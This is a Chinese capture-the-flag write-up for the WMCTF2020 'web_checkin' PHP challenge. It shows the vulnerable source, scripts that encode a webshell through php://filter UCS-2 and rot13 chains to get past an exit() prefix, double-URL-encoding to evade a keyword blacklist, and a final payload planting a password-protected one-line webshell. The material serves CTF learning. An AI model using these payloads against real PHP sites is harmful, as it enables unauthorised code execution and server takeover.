WMCTF2020 web之web_checkin完整题解

题目源码

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);  //不会报错
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);  //这个不用在意,就是md5加密一个路径的值
@mkdir($sandbox);    //创建目录
@chdir($sandbox);    //进入目录
var_dump("Sandbox:".$sandbox);    //输出路径
highlight_file(__FILE__);         //高亮所有代码
if(isset($_GET['content'])) {     //判断content是否传参
    $content = $_GET['content'];  //传参后赋值给content
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))   //判断content是否有这些字符 /i是大小写都匹配
         die('hacker');   //结束
    if(file_exists($content))    //判断content的文件是否存在
        require_once($content);	 //包含
    file_put_contents($content,'<?php exit();'.$content); //写入一个content文件,内容是<?php exit();加上$content
}

首先要解决的是$content要传入什么可以绕过exit()

<?php exit();$content

可以将代码改变一下

<?php
show_source(__FILE__);
$content = $_GET['content'];
$data = '<?php exit();?> ' . $content;
file_put_contents($content,$data);

我们可以利用php://filter字符串处理方法&&编码的方法绕过<?php exit();

这里就用UCS-2和Rot13过滤举个例子

<?php
#demo_0.php
error_reporting(0);   //不影响运行结果,只是不会再报错
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php";
$data = '<?php exit();'.$content;
file_put_contents($content,$data);

php demo_0.php 运行后会在当前目录生成一个shell.php

此时成功运行phpinfo();

这里用的是UCS-2,当然我们也可以用UCS-4 (在这就不多举例了) ,也有常见的办法,base64和strip_tags等等,但是会有弊端。

你可能会想到phpinfo();是怎么构造?如何改成自己想要的一句话木马呢?

PHP协议中间有一段:

x?<uc cucvcsa(b;)>?   ==   <?php phpinfo();?>

用PHP UCS-2和Rot13编码/解码脚本

<?php
$a =  iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
echo "x".str_rot13($a);
#x?<uc cucvcsa(b;)>?
?>

改成自己的一句话木马就行了

回到本题。明显过滤了很多,但是我们可以用二次编码绕过,因为file_put_contents中调用伪协议,会对过滤器url解码一次

将字符二次编码 

<?php 
$char = 'u';
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) { 
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) { 
        $a = '%'.$ascii1.'%'.$ascii2; 
        if(urldecode(urldecode($a)) == $char){ 
            echo $char.': '.$a; 
        } 
    } 
} 
?>

绕过preg_match函数

if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))

 构造pyload

?content=php://filter/write=convert.%6%39conv.%7%35CS-2LE.%7%35CS-2BE|string.%7%32ot13|x?<uc ciryn$(C_FB[G66]6;)>?/resource=xg.php

访问http://ip/sandbox/c47b21fcf8f0bc8b3920541abd8024fd/xg.php 密码666

蚁剑连接

flag{b6515f13-2b4a-49da-8e80-d55732c1b0bb}

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小古_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值